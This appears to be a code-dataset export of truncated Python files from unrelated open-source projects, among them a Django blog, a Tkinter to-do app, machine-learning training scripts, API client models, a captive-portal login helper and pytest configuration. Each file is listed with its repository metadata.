] | null | null | null | spaint/colorsec.py | ihgazni2/string-painter | 57a456aa65d71b875d41363a71d3f7d588a35c75 | [
"MIT"
] | null | null | null | spaint/colorsec.py | ihgazni2/string-painter | 57a456aa65d71b875d41363a71d3f7d588a35c75 | [
"MIT"
] | null | null | null | import copy
def old_stylize_colorsec(color_sec):
'''
for compatible with old code
old_style_color_sec = {1: (0, 11, 'white'), 2: (12, 19, 'blue'), 3: (20, 21, 'white')}
new_style_color_sec = [(0, 12, 'white'), (12, 20, 'blue'), (20, 22, 'white')]
old_stylize_colorsec(new_style_colo... | 31.131868 | 94 | 0.511825 | import copy
from spaint.ansi256 import *
from spaint.ansi8 import *
from spaint.common import *
def old_stylize_colorsec(color_sec):
'''
for compatible with old code
old_style_color_sec = {1: (0, 11, 'white'), 2: (12, 19, 'blue'), 3: (20, 21, 'white')}
new_style_color_sec = [(0, 12, 'white... | 0 | 0 | 0 | 0 | 0 | 1,456 | 0 | 18 | 89 |
18c5aa863eff835698e439fa41c0de92da41474d | 812 | py | Python | blog/urls.py | nodebox/workshops | 21e60797f497ef05869bc1d962b0b077e2a46e0d | [
"BSD-2-Clause"
] | 1 | 2016-11-11T14:54:32.000Z | 2016-11-11T14:54:32.000Z | blog/urls.py | nodebox/workshops | 21e60797f497ef05869bc1d962b0b077e2a46e0d | [
"BSD-2-Clause"
] | null | null | null | blog/urls.py | nodebox/workshops | 21e60797f497ef05869bc1d962b0b077e2a46e0d | [
"BSD-2-Clause"
] | null | null | null | from django.conf.urls import patterns, url
from blog import views
urlpatterns = patterns('',
url(r'^$', views.redirect_to_latest, name='redirect_to_latest'),
url(r'^posts/$', views.post_list_by_user, name='post_list_by_user'),
url(r'^posts/new/$', views.post_create, name='post_create'),
url(r'^(?P<blo... | 54.133333 | 119 | 0.633005 | from django.conf.urls import patterns, url
from blog import views
urlpatterns = patterns('',
url(r'^$', views.redirect_to_latest, name='redirect_to_latest'),
url(r'^posts/$', views.post_list_by_user, name='post_list_by_user'),
url(r'^posts/new/$', views.post_create, name='post_create'),
url(r'^(?P<blo... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7951c8d0ecf0483d0875943bafef6573ab964005 | 1,282 | py | Python | remind.py | vgeorgework/tk_gui_sqlite_project | f8de50ee685678d4eee238b3e60369cc9d699c92 | [
"Unlicense"
] | null | null | null | remind.py | vgeorgework/tk_gui_sqlite_project | f8de50ee685678d4eee238b3e60369cc9d699c92 | [
"Unlicense"
] | null | null | null | remind.py | vgeorgework/tk_gui_sqlite_project | f8de50ee685678d4eee238b3e60369cc9d699c92 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import Tkinter
import random
import backend as myback # i imported the backend file as an object
from Tkinter import StringVar
root = Tkinter.Tk()
root.configure(bg="white")
root.title("My Super To Do List")
root.geometry("500x500")
print "haiiiiiiiiiiii"
lbl_title=Tk... | 22.892857 | 101 | 0.74493 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import Tkinter
import random
import backend as myback # i imported the backend file as an object
from Tkinter import StringVar
root = Tkinter.Tk()
root.configure(bg="white")
root.title("My Super To Do List")
root.geometry("500x500")
print "haiiiiiiiiiiii"
def add_task():... | 0 | 0 | 0 | 0 | 0 | 199 | 0 | 0 | 69 |
d7c8a65ada73b8beb9872e8eb81ff897e2e43a36 | 89 | py | Python | Session_01/py101/7_dictionaries.py | weighanchor4414/DigitalWorldWorkshop2020 | 9eca3a789e5532680ab032c20fe892bdbd47b891 | [
"MIT"
] | 9 | 2020-06-05T17:01:23.000Z | 2022-03-16T19:55:50.000Z | Session_01/py101/7_dictionaries.py | weighanchor4414/DigitalWorldWorkshop2020 | 9eca3a789e5532680ab032c20fe892bdbd47b891 | [
"MIT"
] | null | null | null | Session_01/py101/7_dictionaries.py | weighanchor4414/DigitalWorldWorkshop2020 | 9eca3a789e5532680ab032c20fe892bdbd47b891 | [
"MIT"
] | 2 | 2020-02-20T16:48:35.000Z | 2020-03-18T14:36:04.000Z | ages = {"Jackson": 22, "Amy": 25}
ages["Matthew"] = 30
ages["Jackson"] += 1
print(ages)
| 14.833333 | 33 | 0.58427 | ages = {"Jackson": 22, "Amy": 25}
ages["Matthew"] = 30
ages["Jackson"] += 1
print(ages)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4667a0eba90067473cec297dd221135f36ba29bf | 3,988 | py | Python | mywork/ga.py | notreal1995/once-for-all | be6b47173e8d365e0712bade60a7cc6495e65d8e | [
"Apache-2.0"
] | null | null | null | mywork/ga.py | notreal1995/once-for-all | be6b47173e8d365e0712bade60a7cc6495e65d8e | [
"Apache-2.0"
] | null | null | null | mywork/ga.py | notreal1995/once-for-all | be6b47173e8d365e0712bade60a7cc6495e65d8e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
if __name__ == '__main__':
main()
| 31.15625 | 107 | 0.604814 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
import os
import random
import numpy as np
from pymoo.model.problem import Problem
from pymoo.optimize import minimize
from pymoo.model.sampling import Sampling
from pymoo.model.crossover import Crossover
from pymoo.model.mutation import Mutation
from pym... | 0 | 0 | 0 | 1,358 | 0 | 1,848 | 0 | 270 | 424 |
7dcd454fb98d64467a2ed153a45643465c5b596d | 9,108 | py | Python | docusign_esign/models/bulk_send_response.py | joekohlsdorf/docusign-esign-python-client | 40407544f79c88716d36fabf36f65c3ef1a5c3ba | [
"MIT"
] | 58 | 2017-10-18T23:06:57.000Z | 2021-04-15T23:14:58.000Z | docusign_esign/models/bulk_send_response.py | joekohlsdorf/docusign-esign-python-client | 40407544f79c88716d36fabf36f65c3ef1a5c3ba | [
"MIT"
] | 49 | 2017-10-27T05:54:09.000Z | 2021-04-29T22:06:17.000Z | docusign_esign/models/bulk_send_response.py | joekohlsdorf/docusign-esign-python-client | 40407544f79c88716d36fabf36f65c3ef1a5c3ba | [
"MIT"
] | 49 | 2017-09-16T07:23:41.000Z | 2021-05-07T20:21:20.000Z | # coding: utf-8
"""
DocuSign REST API
The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. # noqa: E501
OpenAPI spec version: v2.1
Contact: devcenter@docusign.com
Generated by: https://github.com/swagger-api/swagger-codegen.gi... | 29.006369 | 140 | 0.596509 | # coding: utf-8
"""
DocuSign REST API
The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. # noqa: E501
OpenAPI spec version: v2.1
Contact: devcenter@docusign.com
Generated by: https://github.com/swagger-api/swagger-codegen.gi... | 0 | 4,332 | 0 | 4,311 | 0 | 0 | 0 | 9 | 128 |
6ae3b1b6666c1b9ba76551600bb091c4c38b71e0 | 2,187 | py | Python | utils.py | ventureBorbot/Machine-Learning-for-Algorithmic-Trading-Second-Edition_Original | 837e7a9423901d3734ae5fbc88edada8b22cdec9 | [
"MIT"
] | 336 | 2020-09-24T01:35:33.000Z | 2022-03-29T18:35:31.000Z | utils.py | jbtheming/Machine-Learning-for-Algorithmic-Trading-Second-Edition_Original | ea16eeab2f30cb151cca5c602236ed04a0daa2e4 | [
"MIT"
] | 10 | 2020-12-18T02:45:32.000Z | 2021-12-17T19:21:09.000Z | utils.py | jbtheming/Machine-Learning-for-Algorithmic-Trading-Second-Edition_Original | ea16eeab2f30cb151cca5c602236ed04a0daa2e4 | [
"MIT"
] | 143 | 2020-09-25T08:35:04.000Z | 2022-03-31T01:39:34.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Stefan Jansen'
import numpy as np
np.random.seed(42)
def format_time(t):
"""Return a formatted time string 'HH:MM:SS
based on a numeric time() value"""
m, s = divmod(t, 60)
h, m = divmod(m, 60)
return f'{h:0>2.0f}:{m:0>2.0f}:{s:0>2.0f}'... | 35.274194 | 84 | 0.596251 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Stefan Jansen'
import numpy as np
np.random.seed(42)
def format_time(t):
"""Return a formatted time string 'HH:MM:SS
based on a numeric time() value"""
m, s = divmod(t, 60)
h, m = divmod(m, 60)
return f'{h:0>2.0f}:{m:0>2.0f}:{s:0>2.0f}'... | 0 | 0 | 0 | 1,842 | 0 | 0 | 0 | 0 | 23 |
7956501687c770073e6fbc26df8b201d426e7f64 | 7,535 | py | Python | dagoba/query.py | skvrahul/dagoba | 685e2eb9adeec2eb6d38521a7dd8ab67568519f9 | [
"MIT"
] | 14 | 2020-02-15T08:14:07.000Z | 2021-09-07T19:02:14.000Z | dagoba/query.py | skvrahul/dagoba | 685e2eb9adeec2eb6d38521a7dd8ab67568519f9 | [
"MIT"
] | null | null | null | dagoba/query.py | skvrahul/dagoba | 685e2eb9adeec2eb6d38521a7dd8ab67568519f9 | [
"MIT"
] | null | null | null |
Core.addPipetype('vertex', Core._vertex)
Core.addPipetype('in', Core._in)
Core.addPipetype('out', Core._out)
Core.addPipetype('property', Core._property)
Core.addPipetype('take', Core._take)
Core.addPipetype('filter', Core._filter)
Core.addPipetype('unique', Core._unique)
Core.addPipetype('as', Core._as)
| 32.478448 | 102 | 0.564831 | from dagoba.entities import State, Gremlin, Args
class Query():
def __init__(self, graph):
self.graph = graph
self.state = []
self.program = []
self.gremlins = []
def add(self, pipetype, args: Args):
step = (pipetype, args)
self.program.append(step)
re... | 0 | 494 | 0 | 6,636 | 0 | 0 | 0 | 27 | 68 |
26f695be6efb0af00947180a2c8e0326c1306fed | 1,067 | py | Python | hotspot-koeln.py | webis-de/authorship-threetrain | eb556a26295cbecf6955a69e345fd44c8f9f5c5d | [
"MIT"
] | 2 | 2018-08-26T12:51:50.000Z | 2021-11-22T15:01:54.000Z | hotspot-koeln.py | webis-de/authorship-threetrain | eb556a26295cbecf6955a69e345fd44c8f9f5c5d | [
"MIT"
] | null | null | null | hotspot-koeln.py | webis-de/authorship-threetrain | eb556a26295cbecf6955a69e345fd44c8f9f5c5d | [
"MIT"
] | null | null | null | import requests
s = requests.Session()
req1 = s.get('http://www.example.org/' ,headers={})
print(req1.text)
data={}
for part in req1.text.split('<input type="hidden"')[1:]:
print("part:")
print(part)
data[textBetween(part,'name="','"')] = textBetween(part,'value="','"')
print('data:',data)
req2 = s.post('https://log... | 33.34375 | 105 | 0.666354 | import requests
import sys
s = requests.Session()
def textBetween(text,pre,suf):
pre=pre.replace('[\\n]',"\n")
suf=suf.replace('[\\n]',"\n")
pos1 = text.find(pre)
if pos1 == -1:
raise Exception("'%s' not found" % pre)
pos1 += len(pre)
pos2 = text.find(suf,pos1)
if pos2 == -1:
raise Exception("'%s' not found"... | 0 | 0 | 0 | 0 | 0 | 280 | 0 | -11 | 44 |
eafd72e29de20189849b4a778ea9f7b3d2368dbf | 3,290 | py | Python | shells.py | pfandzelter/optimal-leo-placement | d5c7546a71798f90ab7464b84bcd764809a6af4c | [
"MIT"
] | null | null | null | shells.py | pfandzelter/optimal-leo-placement | d5c7546a71798f90ab7464b84bcd764809a6af4c | [
"MIT"
] | null | null | null | shells.py | pfandzelter/optimal-leo-placement | d5c7546a71798f90ab7464b84bcd764809a6af4c | [
"MIT"
] | null | null | null | #
# Copyright (c) Tobias Pfandzelter. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for details.
#
import placement
import config
# for each shell and slo, generate a placement, save it to a file, save it as a picture
for s in config.SHELLS:
for slo in config.SLO:
... | 32.254902 | 193 | 0.557751 | #
# Copyright (c) Tobias Pfandzelter. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for details.
#
import numpy as np
import os
import typing
import matplotlib.pyplot as plt
import seaborn as sns
import placement
import config
def save_placement(name: str, p: typing.List... | 0 | 0 | 0 | 0 | 0 | 1,716 | 0 | -13 | 157 |
1d8da41b5be51009b6b3f9b85e889126e47020d8 | 7,081 | py | Python | core-test.py | fateme5004/PySD-PCSE | 4c0bc0b37452bcea10cc335916aec2abf9a0de80 | [
"MIT"
] | null | null | null | core-test.py | fateme5004/PySD-PCSE | 4c0bc0b37452bcea10cc335916aec2abf9a0de80 | [
"MIT"
] | null | null | null | core-test.py | fateme5004/PySD-PCSE | 4c0bc0b37452bcea10cc335916aec2abf9a0de80 | [
"MIT"
] | null | null | null | import pysd
from Input.input import keys_in_vensim_output
# lookups maps in the python model of vensim
lookups_data = {
"wheat_tjj_dd": [],
"tomato_tjj_dd": [],
"grain_maiz_tjj_dd": [],
"rapeseed_tjj_dd": [],
"rice_tjj_dd": [],
"sorgum_tjj_dd": [], # 26
"apple_tjj_dd": [],
"citrud_tjj_... | 35.054455 | 116 | 0.557407 | import pysd
import amin
from pysd import load
from Input.input import keys_in_vensim_output
from Input.Loader import Loader
# lookups maps in the python model of vensim
lookups_data = {
"wheat_tjj_dd": [],
"tomato_tjj_dd": [],
"grain_maiz_tjj_dd": [],
"rapeseed_tjj_dd": [],
"rice_tjj_dd": [],
"... | 0 | 0 | 0 | 0 | 0 | 5,822 | 0 | 0 | 180 |
220b3daa8414f1a39ea6b663a24fd24ad90e270b | 14,614 | py | Python | synthesizer/train_emo.py | fujiaxiang/Real-Time-Voice-Cloning | 3b182258724c7d2cda94d418a3ad0c03dd29b302 | [
"MIT"
] | null | null | null | synthesizer/train_emo.py | fujiaxiang/Real-Time-Voice-Cloning | 3b182258724c7d2cda94d418a3ad0c03dd29b302 | [
"MIT"
] | null | null | null | synthesizer/train_emo.py | fujiaxiang/Real-Time-Voice-Cloning | 3b182258724c7d2cda94d418a3ad0c03dd29b302 | [
"MIT"
] | null | null | null | from pathlib import Path
if __name__ == "__main__":
data_paths = {
'train_meta': "iemocap_meta_train.csv",
'dev_meta': "iemocap_meta_dev.csv",
'test_meta': "iemocap_meta_test.csv",
'train_speaker_embeds': "data/iemocap/synthesizer/speaker_enc_train.npy",
'dev_speaker_em... | 43.109145 | 172 | 0.608868 | from functools import partial
import torch
import torch.nn.functional as F
from torch import optim
from torch.utils.data import DataLoader
from torch.utils.tensorboard import SummaryWriter
from synthesizer import audio
from synthesizer.hparams import hparams
from synthesizer.models.emo_models import MultispeakerEmoti... | 0 | 0 | 0 | 0 | 0 | 12,271 | 0 | 308 | 534 |
2ba1891b547ee5f3ababc7649bfe91e8681ab8d6 | 73 | py | Python | Python/Iniciante/1963.py | TiagoSanti/uri-solutions | e80d9e2874cac13e721a96d7aeb075e7d72ceb2d | [
"MIT"
] | null | null | null | Python/Iniciante/1963.py | TiagoSanti/uri-solutions | e80d9e2874cac13e721a96d7aeb075e7d72ceb2d | [
"MIT"
] | null | null | null | Python/Iniciante/1963.py | TiagoSanti/uri-solutions | e80d9e2874cac13e721a96d7aeb075e7d72ceb2d | [
"MIT"
] | null | null | null | A, B = map(float, input().split())
print('{:.2f}%'.format((B/A-1)*100))
| 18.25 | 36 | 0.534247 | A, B = map(float, input().split())
print('{:.2f}%'.format((B/A-1)*100))
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
db20f064c46bce6bb762e05424e635475cd4eede | 35,028 | py | Python | ocli/sent1/metadata_extractor.py | bopopescu/TSAR-AI | f5812f35838db1ba17da068bc31bdbf866d022c1 | [
"Apache-2.0"
] | null | null | null | ocli/sent1/metadata_extractor.py | bopopescu/TSAR-AI | f5812f35838db1ba17da068bc31bdbf866d022c1 | [
"Apache-2.0"
] | null | null | null | ocli/sent1/metadata_extractor.py | bopopescu/TSAR-AI | f5812f35838db1ba17da068bc31bdbf866d022c1 | [
"Apache-2.0"
] | 1 | 2020-07-19T22:47:26.000Z | 2020-07-19T22:47:26.000Z | '''
fork of https://github.com/bunnis/esa_sentinel
'''
# TODO rewrite it
import itertools
import logging
log = logging.getLogger()
supported_raw = [
r'S1[AB]_IW_RAW__0SSV',
r'S1[AB]_IW_RAW__0SSH',
r'S1[AB]_IW_RAW__0SDV',
r'S1[AB]_IW_RAW__0SDH',
r'S1[AB]_EW_RAW__0SDH',
r'S1[AB]_EW_RAW__0SSH',
... | 52.594595 | 520 | 0.634321 | '''
fork of https://github.com/bunnis/esa_sentinel
'''
# TODO rewrite it
import itertools
import logging
from pprint import pprint
from xml.etree.ElementTree import Element
import lxml
from lxml import etree
import os
import re
log = logging.getLogger()
supported_raw = [
r'S1[AB]_IW_RAW__0SSV',
r'S1[AB]_IW_... | 0 | 0 | 0 | 32,997 | 0 | 0 | 0 | -9 | 156 |
674648873d608e00437c242aad71b850b9b5c81c | 13,320 | py | Python | data_controller.py | fab-jul/ppfin | f3e51583d42590eceb6d3920a351f8f2639792c1 | [
"MIT"
] | null | null | null | data_controller.py | fab-jul/ppfin | f3e51583d42590eceb6d3920a351f8f2639792c1 | [
"MIT"
] | null | null | null | data_controller.py | fab-jul/ppfin | f3e51583d42590eceb6d3920a351f8f2639792c1 | [
"MIT"
] | null | null | null | import collections
import csv
import symbol_values
import logging
logger = logging.getLogger()
_StockTrade = collections.namedtuple(
'_StockTrade',
['symbol', 'currency', 'date', 'quantity', 'proceeds'])
_EXCH_TO_YF = {
'EBS': 'SW',
'AEB': 'AS',
'LSEETF': 'L',
}
_AMERICAN_EXCH = {'ARCA', 'NA... | 32.330097 | 86 | 0.636637 | import argparse
import collections
import csv
import contextlib
import dataclasses
import json
import sqlite3
import os
from datetime import datetime
from helpers import OptionalFloat, OptionalBalance
import symbol_values
import logging
logger = logging.getLogger()
class UnknownSymbolException(Exception):
pass
... | 0 | 2,004 | 0 | 6,648 | 0 | 1,571 | 0 | -5 | 430 |
0413cebfb98e8e34a872b6834b20b2bdc094fa7b | 1,480 | py | Python | pypesto/__init__.py | yannikschaelte/pyPESTO | dca625328b3d1200b2d4dd18f7be97468b651aed | [
"BSD-3-Clause"
] | null | null | null | pypesto/__init__.py | yannikschaelte/pyPESTO | dca625328b3d1200b2d4dd18f7be97468b651aed | [
"BSD-3-Clause"
] | null | null | null | pypesto/__init__.py | yannikschaelte/pyPESTO | dca625328b3d1200b2d4dd18f7be97468b651aed | [
"BSD-3-Clause"
] | null | null | null | """
pyPESTO
=======
Parameter Estimation TOolbox for python.
"""
from .objective import (ObjectiveOptions, Objective, AmiciObjective, PetabImporter)
from .problem import Problem
from .result import (Result, OptimizeResult, ProfileResult, SampleResult)
from .optimize import (minimize, OptimizeOptions, OptimizerResult,... | 23.125 | 46 | 0.542568 | """
pyPESTO
=======
Parameter Estimation TOolbox for python.
"""
from .version import __version__ # noqa: F401
from .objective import (ObjectiveOptions,
Objective,
AmiciObjective,
PetabImporter)
from .problem import Problem
from .result import ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 349 | 37 |
4c58781c161c6a460548b0dd91d8404357b262e1 | 651 | py | Python | tests/test_load_vcf.py | juancgvazquez/MODApy-VCFDataFrame | d5a877e4095935ea39e39313d09970adee71f737 | [
"MIT"
] | null | null | null | tests/test_load_vcf.py | juancgvazquez/MODApy-VCFDataFrame | d5a877e4095935ea39e39313d09970adee71f737 | [
"MIT"
] | null | null | null | tests/test_load_vcf.py | juancgvazquez/MODApy-VCFDataFrame | d5a877e4095935ea39e39313d09970adee71f737 | [
"MIT"
] | null | null | null | from pathlib import Path
TEST_DATA_PATH = Path("tests/test_data")
| 24.111111 | 66 | 0.725038 | from pathlib import Path
from VCFDataFrame import VCFDataFrame
import pytest
TEST_DATA_PATH = Path("tests/test_data")
def test_load_type():
with pytest.raises(TypeError) as excinfo:
VCFDataFrame.read_vcf(18)
assert "argument must be a string, path to a VCF File" in str(
excinfo.value
)
... | 0 | 0 | 0 | 0 | 0 | 458 | 0 | 8 | 115 |
a85fb4c9a5c92ad1378e9d2b6660c80db1fa6acc | 1,507 | py | Python | hathor/conf/testnet.py | mbnunes/hathor-core | e5e0d4a627341e2a37ee46db5c9354ddb7f8dfb8 | [
"Apache-2.0"
] | 51 | 2019-12-28T03:33:27.000Z | 2022-03-10T14:03:03.000Z | hathor/conf/testnet.py | mbnunes/hathor-core | e5e0d4a627341e2a37ee46db5c9354ddb7f8dfb8 | [
"Apache-2.0"
] | 316 | 2019-09-10T09:20:05.000Z | 2022-03-31T20:18:56.000Z | hathor/conf/testnet.py | jansegre/hathor-core | 22b3de6be2518e7a0797edbf0e4f6eb1cf28d6fd | [
"Apache-2.0"
] | 19 | 2020-01-04T00:13:18.000Z | 2022-02-08T21:18:46.000Z | # Copyright 2021 Hathor Labs
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | 41.861111 | 105 | 0.788985 | # Copyright 2021 Hathor Labs
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f547eb7815bce0c89d748b94c1d6c33378f2890d | 988 | py | Python | gen_ws.py | migueleps/dir-netemd-netsgen | a362e589fb69c9702e23ee1c7158244a250139ab | [
"MIT"
] | null | null | null | gen_ws.py | migueleps/dir-netemd-netsgen | a362e589fb69c9702e23ee1c7158244a250139ab | [
"MIT"
] | null | null | null | gen_ws.py | migueleps/dir-netemd-netsgen | a362e589fb69c9702e23ee1c7158244a250139ab | [
"MIT"
] | null | null | null | import networkx as nx
import sys
import numpy as np
nnodes = [1250,2500,5000,10000]
densities = [10,20,40,80]
p = 0.05
for n in nnodes:
print n
for j,d in enumerate(densities):
print d
for i in range(10):
print i
nn = nx.watts_strogatz_graph(n,d,p)
error_cou... | 31.870968 | 78 | 0.591093 | import networkx as nx
import sys
import numpy as np
nnodes = [1250,2500,5000,10000]
densities = [10,20,40,80]
p = 0.05
def check_density(net,expected_d):
sum_deg = sum([deg for n, deg in net.degree()])
avg_k = sum_deg/net.number_of_nodes()
deviation = expected_d * 0.1
return avg_k >= expected_d - devi... | 0 | 0 | 0 | 0 | 0 | 219 | 0 | 0 | 23 |
84866a1bb1d29132d5bf1ee549dc55236b4551ca | 20,365 | py | Python | stats/models.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | stats/models.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | stats/models.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | import hashlib
# Create your models here.
| 32.172196 | 150 | 0.617039 | from email.policy import default
from typing_extensions import Required
from django.core import validators
import hashlib
from django.db import models
from roulette.models import Weapon
from django.contrib.auth.models import User
import datetime
from .validators import InRangeValidator, ListedValueValidator, SumValidat... | 0 | 0 | 0 | 19,731 | 0 | 0 | 0 | 232 | 335 |
301f1f9e6405ef16843a20e1c79a17b4754fcfa7 | 2,669 | py | Python | app/app.py | Nyfy/StreamCaptureService | b456c9fc934c7dc80c3748f45464a6a6eb05e720 | [
"MIT"
] | null | null | null | app/app.py | Nyfy/StreamCaptureService | b456c9fc934c7dc80c3748f45464a6a6eb05e720 | [
"MIT"
] | null | null | null | app/app.py | Nyfy/StreamCaptureService | b456c9fc934c7dc80c3748f45464a6a6eb05e720 | [
"MIT"
] | null | null | null | import boto3, configparser
from flask import Flask
### ____ _____ _____ ____
### | _ \| ____| ___/ ___|
### | | | | _| | |_ \___ \
### | |_| | |___| _| ___) |
### |____/|_____|_| |____/
###
# Setup config.ini parsing and getter function
config = configparser.ConfigParser()
config.read('config.ini'... | 31.77381 | 111 | 0.595354 | import boto3, json, logging, cerberus, uuid, configparser
from handlers.capture import Capture
from flask import Flask, request, Response
from logging.handlers import RotatingFileHandler
### ____ _____ _____ ____
### | _ \| ____| ___/ ___|
### | | | | _| | |_ \___ \
### | |_| | |___| _| ___) |
### |_... | 0 | 877 | 0 | 0 | 0 | 434 | 0 | 92 | 113 |
0c0d6c1d3bb39e4c3c847913adcd2a2c537c3334 | 6,260 | py | Python | search_python.py | liuyihong321/generic_search | c3566ab7567f72b1108cfd7f0390110ddac5e4b3 | [
"MIT"
] | null | null | null | search_python.py | liuyihong321/generic_search | c3566ab7567f72b1108cfd7f0390110ddac5e4b3 | [
"MIT"
] | null | null | null | search_python.py | liuyihong321/generic_search | c3566ab7567f72b1108cfd7f0390110ddac5e4b3 | [
"MIT"
] | null | null | null |
map_str = """\
+---------------+
| G |
|XXXXXXXXXXXX |
| X |
| XXXXXX X |
| X S X X |
| X X |
| XXXXXXXXXX |
| |
+---------------+
"""
map_graph = MapGraph(map_str)
frontier = AStarFrontier(map_graph)
s... | 32.604167 | 78 | 0.53738 | from search import *
import heapq
class MapGraph(Graph):
"""This is an abstract class for graphs. It cannot be directly
instantiated. You should define a subclass of this class
(representing a particular problem) and implement the expected
methods."""
def __init__(self, string):
st... | 0 | 0 | 0 | 4,985 | 0 | 696 | 0 | -10 | 170 |
a40e54cf0245d782b47bebff61631811be3d4bf1 | 1,873 | py | Python | stable_baselines_model_based_rl/sb_training/stable_baselines_policy_trainer.py | micheltokic/stable_baselines_model_based_rl | 75bac906aeba69072878ceb15d9be459b1f436c3 | [
"Apache-2.0"
] | 1 | 2022-01-08T17:08:13.000Z | 2022-01-08T17:08:13.000Z | stable_baselines_model_based_rl/sb_training/stable_baselines_policy_trainer.py | micheltokic/stable_baselines_model_based_rl | 75bac906aeba69072878ceb15d9be459b1f436c3 | [
"Apache-2.0"
] | 5 | 2021-09-15T18:14:48.000Z | 2021-09-19T16:17:51.000Z | stable_baselines_model_based_rl/sb_training/stable_baselines_policy_trainer.py | micheltokic/stable_baselines_model_based_rl | 75bac906aeba69072878ceb15d9be459b1f436c3 | [
"Apache-2.0"
] | null | null | null | import os
from datetime import datetime
from gym import Env
from stable_baselines_model_based_rl.sb_training import get_sb_class_for_algo
from stable_baselines_model_based_rl.utils.configuration import Configuration
def train_stable_baselines_policy(config: Configuration, env: Env, output_dir: str = None,
... | 40.717391 | 90 | 0.704218 | import os
from datetime import datetime
from gym import Env
from stable_baselines_model_based_rl.sb_training import get_sb_class_for_algo
from stable_baselines_model_based_rl.utils.configuration import Configuration
def train_stable_baselines_policy(config: Configuration, env: Env, output_dir: str = None,
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
901166a391bd66125dd6bf7d4d1db528773560d8 | 509 | py | Python | tests/conftest.py | plus3it/satsuk | bc873bd90c7d3fd0e5f52ccfbf3579202676b196 | [
"Apache-2.0"
] | 6 | 2019-11-02T18:05:49.000Z | 2021-08-07T23:06:44.000Z | tests/conftest.py | plus3it/satsuk | bc873bd90c7d3fd0e5f52ccfbf3579202676b196 | [
"Apache-2.0"
] | 101 | 2020-12-16T07:03:49.000Z | 2022-03-31T19:14:35.000Z | tests/conftest.py | plus3it/satsuk | bc873bd90c7d3fd0e5f52ccfbf3579202676b196 | [
"Apache-2.0"
] | 7 | 2019-01-29T20:38:40.000Z | 2021-08-07T23:06:45.000Z | """TODO: docstring"""
def pytest_addoption(parser):
"""TODO: docstring"""
parser.addoption("--token", action="store", default=None)
def pytest_generate_tests(metafunc):
"""
This is called for every test. Only get/set command line arguments
if the argument is specified in the list of test "fixtur... | 29.941176 | 70 | 0.699411 | """TODO: docstring"""
def pytest_addoption(parser):
"""TODO: docstring"""
parser.addoption("--token", action="store", default=None)
def pytest_generate_tests(metafunc):
"""
This is called for every test. Only get/set command line arguments
if the argument is specified in the list of test "fixtur... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
513601aa1b469d7aabe184f04f8cad3a8b040e0e | 1,350 | py | Python | tests/python/ci/test_utils.py | yangulei/tvm | d2cbdf381b68134951bfd7525c6a3a67838e5bdf | [
"Apache-2.0"
] | 1 | 2021-12-13T22:07:00.000Z | 2021-12-13T22:07:00.000Z | tests/python/ci/test_utils.py | driazati/tvm | b76c817986040dc070d215cf32523d9b2adc8e8b | [
"Apache-2.0"
] | 7 | 2022-02-17T23:04:46.000Z | 2022-03-31T22:22:55.000Z | tests/python/ci/test_utils.py | driazati/tvm | b76c817986040dc070d215cf32523d9b2adc8e8b | [
"Apache-2.0"
] | 1 | 2022-02-07T06:50:05.000Z | 2022-02-07T06:50:05.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 32.142857 | 87 | 0.702222 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 0 | 0 | 0 | 391 | 0 | 0 | 0 | -4 | 45 |
601d37ff7e6f9a4803fe2d1a8a2ceb010d90cad6 | 1,978 | py | Python | kats/tests/detectors/utils.py | airibarne/Kats | e00d29d81ccc7423d6c364d242087ae4cd7ea5b9 | [
"MIT"
] | null | null | null | kats/tests/detectors/utils.py | airibarne/Kats | e00d29d81ccc7423d6c364d242087ae4cd7ea5b9 | [
"MIT"
] | null | null | null | kats/tests/detectors/utils.py | airibarne/Kats | e00d29d81ccc7423d6c364d242087ae4cd7ea5b9 | [
"MIT"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"""Base I/O code for time series data in Kats
This is a base implementation to load datasets for test and evaluation/benchmarking
purposes. We ... | 30.430769 | 88 | 0.668352 | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"""Base I/O code for time series data in Kats
